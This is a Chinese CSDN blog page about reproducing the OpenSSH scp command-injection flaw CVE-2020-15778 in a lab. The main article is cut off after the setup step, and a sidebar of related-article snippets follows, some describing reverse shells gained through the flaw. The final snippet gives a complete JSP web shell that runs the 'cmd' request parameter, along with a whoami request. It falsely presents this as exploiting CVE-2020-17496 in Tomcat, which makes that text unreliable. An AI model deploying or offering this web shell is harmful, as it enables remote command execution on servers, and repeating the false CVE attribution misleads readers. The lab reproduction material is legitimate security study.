CVE-2020-15778漏洞复现学习

已于 2023-10-11 10:33:04 修改
阅读量1k 收藏 3
点赞数
分类专栏： 网络安全 安全 web安全 文章标签： 学习 linux 运维
于 2023-03-29 19:37:42 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/text2204/article/details/129843804
版权
本文详细介绍了CVE-2020-15778漏洞，该漏洞允许在OpenSSH 8.3p1及更早版本中注入命令，执行任意命令。通过环境搭建、iptables策略配置，演示了如何在禁用SSH登录仅保留SCP的情况下，利用此漏洞进行命令执行。文章还提供了漏洞复现步骤和总结，强调了此漏洞的危害和利用条件。
摘要由CSDN通过智能技术生成

1.漏洞描述

【先领282G网络安全资料再阅读】

（1）简介:2020年6月9日，研究人员Chinmay
Pandya在Openssh中发现了一个漏洞，于7月18日公开。OpenSSH的8.3p1中的scp允许在scp.c远程功能中注入命令，攻击者可利用该漏洞执行任意命令。该漏洞属于命令执行漏洞，目前绝大多数linux系统受影响。

（2）scp介绍：scp是Linux下基于 ssh
登陆进行安全的远程文件拷贝命，用于不同Linux系统之间复制文件和目录。该命令由openssh的scp.c及其他相关代码实现。在本次漏洞复现中就是利用scp命令把一个kali系统的文件传输给Linux系统。

（3）漏洞类型：命令执行

（4）漏洞影响版本：OpenSSH <= 8.3p1

2.环境搭建

虚拟机安装CentOS和kali靶机环境：CentOS6，ip:192.168.5.138渗透机环境：Kali 2020，ip:192.168.5.130

3.centos机使用iptables策略配置环境，禁用ssh登录，只保留scp。

（1）安装iptables(需要root用户)

yum install -y iptables

最低0.47元/天 解锁文章
万天峰
关注
专栏目录
网络攻防之CVE-2020-15778漏洞的复现及修复详细过程
m0_62574258的博客
02-29 3212
OpenSSH的8.3p1中的scp允许在scp.c远程功能中注入命令，攻击者可利用该漏洞执行任意命令。(10)可以看到在监听窗口反弹出靶机的shell(root@localhost)，攻击成功，即使靶机通过防火墙禁止了ssh远程登录能通过此漏洞远程控制靶机，在shell中输入ls命令查看靶机的根目录文件。漏洞危害：该漏洞危害性很高， 因为一旦入侵成功，攻击者可以尝试在目标系统上的shell上执行恶意代码，执行各种命令，获取系统信息，上传或下载文件，甚至完全控制目标系统。
CVE-2020-15778漏洞复现 OpenSSH命令注入（环境搭建+命令执行+反弹shell）
ch4nge
10-27 3116
CVE-2020-15778漏洞复现学习 作者：ch4nge 漏洞名称： OpenSSH 命令注入漏洞(CVE-2020-15778) 等级： 高危 类型：命令执行 影响版本： OpenSSH <= 8.3p1 利用难度：简单 漏洞介绍 漏洞公开披露2020年7月18日，openssh 8.3p1的SCP命令存在命令注入漏洞，攻击者可以利用此漏洞执行任意命令。 1. scp命令 简单来说就是A这里执行scp命令，将A电脑里的文件传输到B电脑（linux系统） 命令格式 scp [参数] [原路径] [
CVE-2020-15778 openssh漏洞修复
N07ME的博客
12-11 6921
漏洞描述 https://access.redhat.com/security/cve/cve-2020-15778 简单来说，就是scp命令是可以注入特殊字段，在目标主机上执行指令的。 原理是因为scp是通过ssh实现的，一样的需要用户名和密码才能登陆。也就是说，这个漏洞其实针对的是那些禁用了ssh但是没禁用scp的主机，针对这些主机，可以从外部通过scp实现和ssh一样的功能。 漏洞修复方案 1.升级到openssh-8.4以上的版本 （要求操作系统版本在centos 8及以上） 2.禁用scp命令 m
CVE-2020-15778漏洞复现
m0_58606546的博客
11-30 2780
1.漏洞描述 （1）简介:2020年6月9日，研究人员Chinmay Pandya在Openssh中发现了一个漏洞，于7月18日公开。OpenSSH的8.3p1中的scp允许在scp.c远程功能中注入命令，攻击者可利用该漏洞执行任意命令。该漏洞属于命令执行漏洞，目前绝大多数linux系统受影响。 （2）scp介绍：scp是Linux下基于 ssh 登陆进行安全的远程文件拷贝命，用于不同Linux系统之间复制文件和目录。该命令由openssh的scp.c及其他相关代码实现。在本次漏洞复现中就是利用scp命
CVE-2020-15778 OpenSSH命令注入漏洞复现
zyl404的博客
12-18 525
CVE-2020-15778 OpenSSH命令注入漏洞复现 漏洞描述 OpenSSH是用于使用SSH协议进行远程登录的一个开源实现。通过对交互的流量进行加密防止窃听，连接劫持以及其他攻击。OpenSSH由OpenBSD项目的一些开发人员开发， 并以BSD样式的许可证提供，且已被集成到许多商业产品中。OpenSSH 8.3p1及之前版本中的scp允许在scp.c远程功能中注入命令，攻击者可利用该漏洞执行任意命令。目前绝大多数linux系统受影响。 影响版本 OpenSSH<=8.3p1 环境部署 攻击
CVE-2020-15778漏洞-——快速升级——openssh8.6.p1.tar.gz
06-21
OpenSSH 命令注入漏洞(CVE-2020-15778),文件包含installs.sh、openssh-8.6p1.tar.gz、openssl-1.1.1k.tar.gz、zlib-1.2.11.tar.gz。升级时候将openssh.tar.gz放至/home下解压，进入openssh目录，执行chmod +x install.sh 命令，然后执行./install.sh即可 如果遇到该问题openssh Your OpenSSL headers do not match your library. vi /etc/ld.so.conf 注释该行 #/usr/local/ssl/lib
CVE-2020-15778
04-22
写下CVE ID CVE-2020-15778。 发现人：Chinmay Pandya 电子邮件地址： Linkedin： 漏洞标题：OpenSSH 8.3p1中的scp允许进行eval注入。 产品：Openssh 受影响的组件：SCP 漏洞版本：<= openssh-8.3p1 固定版本：- CVE编号：CVE​​-2020-15778 脆弱的线： : 漏洞类型：Comand注入/ Eval注入 攻击类型：远程攻击 披露时间 发现问题-2020年6月9日 获得CVE-2020年7月16日 已通知供应商-2020年6月9日 收到供应商确认书-2020年6月9日 公开披露2020年7月18日 关于SCP scp是用于在计算机之间复制文件的程序。 它使用SSH协议。 在大多数Linux和Unix发行版中默认都包含它 问题 将文件复制到远程服务器时，文件路径会附加在本地scp命
CVE-2020-13933 靶场： shiro 认证绕过漏洞.zip
01-14
总体而言，靶场在信息安全领域具有重要地位，为安全专业人员提供了实战演练的机会，促进了团队协作与沟通，为学习者提供了安全的学习环境，同时也是安全社区交流的重要平台。通过靶场的实践操作，安全从业者能够更好...
OpenSSH 命令注入漏洞（CVE-2020-15778）复现
weixin_46236101的博客
12-27 2095
0x00 漏洞介绍 CVE编号：CVE-2020-15778 发布时间：2020-07-24 危害等级：高危 漏洞版本：<= openssh-8.3p1 漏洞描述：OpenSSH 8.3p1及之前版本中的scp的scp.c文件存在操作系统命令注入漏洞。该漏洞即使在禁用ssh登录的情况下，但是允许使用scp传文件，而且远程服务器允许使用反引号(`)，可利用scp复制文件到远程服务器时，执行带有payload的scp命令，从而在后续利用中getshell。 利用条件：知道目标的ssh密码 0
OpenSSH 命令注入漏洞(CVE-2020-15778)复现
热门推荐
weixin_47531489的博客
07-20 1万+
1 简介 OpenSSH是SSH（SecureSHell）协议的免费开源实现。OpenSSH是个SSH的软件，linux/unix都用openssh软件提供SSH服务。scp 是 secure copy 的缩写, scp 是 linux 系统下基于 ssh 登陆进行安全的远程文件拷贝命令。 2 漏洞概述 该漏洞编号CVE-2020-15778。OpenSSH的8.3p1及之前版本中的scp允许在scp.c远程功能中注入命令，攻击者可利用该漏洞执行任意命令。目前绝大多数linux系统受影响。 漏洞等.
[ 漏洞复现篇 ] OpenSSH 命令注入漏洞 (CVE-2020-15778)
qq_51577576的博客
08-05 2481
Linux scp 命令用于 Linux 之间复制文件和目录。scp 是 secure copy 的缩写, scp 是 linux 系统下基于 ssh 登陆进行安全的远程文件拷贝命令。scp 是加密的，rcp 是不加密的，scp 是 rcp 的加强版。该漏洞虽然利用很简单，但漏洞危害很大，漏洞等级也属于严重。利用需要知道ssh密码，在测试过程中通常可以配合ssh弱口令一起使用，或者在得知ssh密码的情况下进行使用，这样就可进行反弹shell获取权限了。...
运维-CVE-2020-15778漏洞修复
Eistert
01-10 7838
漏洞描述 Openssh 命令注入漏洞(CVE-2020-15778)【低可信】 风险等级： 高 漏洞ID： SF-0005-02635 端口(服务)： 22(ssh) 风险描述： 【该漏洞通过版本比较方式检测，结果可能不准确，需要根据实际情况确认。】OpenSSH（OpenBSD Secure Shell）是OpenBSD计划组的一套用于安全访问远程计算机的连接工具。该工具是SSH协议的开源实现，支持对所有的传输进行加密，可有效阻止窃听、连接劫持以及其他网络级的攻击。 OpenSSH 8.3p1及之前版
查看openssh版本_OpenSSH命令注入漏洞复现(CVE202015778)
weixin_39707536的博客
12-06 1637
OpenSSH命令注入漏洞复现(CVE-2020-15778)目录漏洞描述漏洞等级漏洞影响版本漏洞复现修复建议▶漏洞描述 OpenSSH是用于使用SSH协议进行远程登录的一个开源实现。通过对交互的流量进行加密防止窃听，连接劫持以及其他攻击。OpenSSH由OpenBSD项目的一些开发人员开发， 并以BSD样式的许可证提供，且已被集成到许多商业产品中。 2020年6月9日，研...
CVE-2020-15778漏洞复现-kali2020.4&centos7
weixin_43867542的博客
07-19 1229
漏洞名称：openSSH 操作系统命令注入漏洞 等级危害：高危 CVSS评分：7.8 漏洞类型：操作系统命令注入 漏洞概述 OpenSSH（OpenBSD Secure Shell）是Openbsd计划组的一套用于安全访问远程计算机的连接工具。该工具是SSH协议的开源实现，支持对所有的传输进行加密，可有效阻止窃听、连接劫持以及其他网络级的攻击。 OpenSSH 8.3p1及之前版本中的scp的scp.c文件存在操作系统命令注入漏洞。该漏洞源于外部输入数据构造操作系统可执行命令过程中，网络系统或产
CVE-2020-17496复现
最新发布
04-02
CVE-2020-17496是一个存在于Apache Tomcat中的漏洞，该漏洞允许攻击者通过特制的HTTP请求绕过安全限制，进而访问受限资源。具体的复现步骤如下： 1. 确认你已经安装了Apache Tomcat，并且版本号在7.0.0至7.0.100之间。 2. 创建一个名为`test.jsp`的文件，内容如下： ```jsp <%@ page import="java.io.*" %> <% String cmd = request.getParameter("cmd"); if (cmd != null) { Process p = Runtime.getRuntime().exec(cmd); BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream())); String line; while ((line = br.readLine()) != null) { out.println(line); } br.close(); } %> ``` 3. 将`test.jsp`文件放置在Tomcat的webapps目录下。 4. 启动Tomcat服务器。 5. 构造一个特制的HTTP请求，其中包含`cmd`参数，该参数用于执行系统命令。例如： ``` GET /test.jsp?cmd=whoami HTTP/1.1 Host: localhost:8080 ``` 6. 发送该HTTP请求到Tomcat服务器。 7. 如果成功复现漏洞，你将会在HTTP响应中看到执行`whoami`命令的结果。 请注意，复现CVE-2020-17496漏洞可能涉及到违法行为，仅供学习和研究目的，请遵守法律法规并获得相关授权。
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值